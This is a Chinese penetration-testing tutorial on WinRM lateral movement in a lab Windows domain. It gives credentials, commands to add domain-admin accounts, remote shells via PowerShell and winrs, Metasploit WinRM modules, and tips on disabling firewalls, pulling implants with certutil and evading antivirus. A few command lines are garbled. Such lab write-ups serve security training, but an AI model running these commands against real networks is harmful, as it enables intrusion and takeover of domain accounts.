网安教育
培养网络安全人才
技术交流、学习咨询
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。
winRM横向移动同时适用于工作组和域环境。
1、win 2012之前利用需要手动开启winRM ,在win 2012之后(包括win 2012)的版本是默认开启的,
2、防火墙对5986、5985端口开放。
1:已经获取目标主机,或者是要打域控,域管账户明文密码的情况下
2:开启了5986 或 5985 命令:netstat -ano |findstr 5985 或 nmap -p 5985,5986 -sV 指定IP
3:在已拿下的主机上设置(启动WinRM服务,默认是启动的,因为当前是版本是win10,但最好是再使用下以下命令):
命令一:winrm quickconfig
命令二:winrm set winrm/config/Client @{TrustedHosts="*"; AllowUnencrypted="true"}
环境介绍
域:god.com
域控:win2012 godadministrator aA123456@@@ 192.168.29.176
域管用户:godkey qweQWE123@
域用户:Win10 godtest yangxu123@ 192.168.29.177
注:实战中获取域管用户密码通常通过内存导出,进程注入,密码爆破,漏洞利用等方式进行获取
拓展:(添加域控命令)
1net user key qweQWE123@ /add /domain
2net group "Domain Admins" key /add /domain
3net group "Enterprise Admins" key /add /domain
4
5查看域管,成功将Key添加为域管用户
6net group "domain admins" /domain
Powershell执行
11:Invoke-Command -ComputerName TARGET -ScriptBlock { dir c: } 【工作组使用】
2//命令执行
3
42:Invoke-Command -ComputerName TARGET -Credential 域名用户名 -command {Get-Culture} 【域环境使用】
5//命令执行
6
73:Invoke-Command -ComputerName TARGET -Credential 域名用户名 -ScriptBlock {Get-Culture} 【域环境使用】
8//命令执行
9
103:Enter-PSSession -ComputerName 192.168.29.176 -Credential godadministrator 【域环境使用】
实例2:Invoke-Command -ComputerName 192.168.29.176 -Credential godkey -command {whoami}
=====================================================================
=====================================================================
实例3:Enter-PSSession -ComputerName 192.168.29.176 -Credential godkey 【交互式Shell】
=====================================================================
=====================================================================
CMD执行
11:winrs -r:http://192.168.29.176:5985 -u:用户名 -p:qweQWE123@ "ipconfig" 【5985用http】
2
32:winrs -r:https://192.168.29.176:5985 -u:用户名 -p:qweQWE123@ "ipconfig" 【5986用https】
4
5获取交互式shell
6
73:winrs -r:http://192.168.29.176:5985 -u:域名用户名 -p:qweQWE123@ cmd 【5985用http】
8
94:winrs -r:https://192.168.29.176:5985 -u:域名用户名 -p:qweQWE123@ cmd 【5986用http】
=====================================================================
=====================================================================
实例1:winrs -r:http://192.168.29.176:5985 -u:key -p:qweQWE123@ "ipconfig"
=====================================================================
=====================================================================
实例3:winrs -r:http://192.168.29.176:5985 -u:godkey -p:qweQWE123@ cmd
=====================================================================
=====================================================================
MSF 使用流程
1:检测
1use auxiliary/scanner/winrm/winrm_auth_method
2set domain god.com
3set rhosts 192.168.29.176
4exploit -u:用户名 -p:qweQWE123@ "ipconfig" 【5986用https】
2:确定我们获得的管理员凭据是否对其系统有效
1auxiliary/scanner/winrm/winrm_login
2set domain god.com
3set username key
4set password qweQWE123@
5set rhosts 192.168.29.176
6set rport 5985
3:利用当前管理员凭据对目标主机win2012是有效的。确定凭据有效后,尝试对目标主机win2012执行命令
1use auxiliary/scanner/winrm/winrm_cmd
2set rhosts 192.168.29.176
3set DOMAIN god.com
4set USERNAME administrator
5set PASSWORD aA123456@@@
6set CMD ipconfig 【需要执行的命令】
通过以上方法横向到目标主机后,通过多种方式上线远控:
列举一下三种(还有其他姿势暂且不写,以下三种为简单粗暴的):
11:开3389,关防火墙,rdp上线 ,如果做了对3389做了安全策略,用netsh端口转发绕过即可
2【其实在横向的时候,需要目标的密码,我们通过某些方式获取到后,但目标没有开放3389,但是开放了5985,5986服务,这个时候就可通过winrm横向过去】
32:目标不出网certutil下载正向马执行,CS及MSF上线 【无杀软情况,有杀软做免杀】
43:目标出网powershell、反向exe,上线CS及MSF 【无杀软情况,有杀软做免杀】
1:设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器
2:启用适当的身份验证和加密机制,例如 Kerberos 身份验证和 SSL 加密
3:下杀软,装waf,设置强密码等
4:实施网络隔离和分段,使得 WinRM 只能在受信任的网络区域内运行
本文作者:key111, 转载请注明来自FreeBuf.COM
版权声明:著作权归作者所有。如有侵权请联系删除
网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
原文始发于微信公众号(开源聚合网络空间安全研究院):内网渗透之WinRM横向剖析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论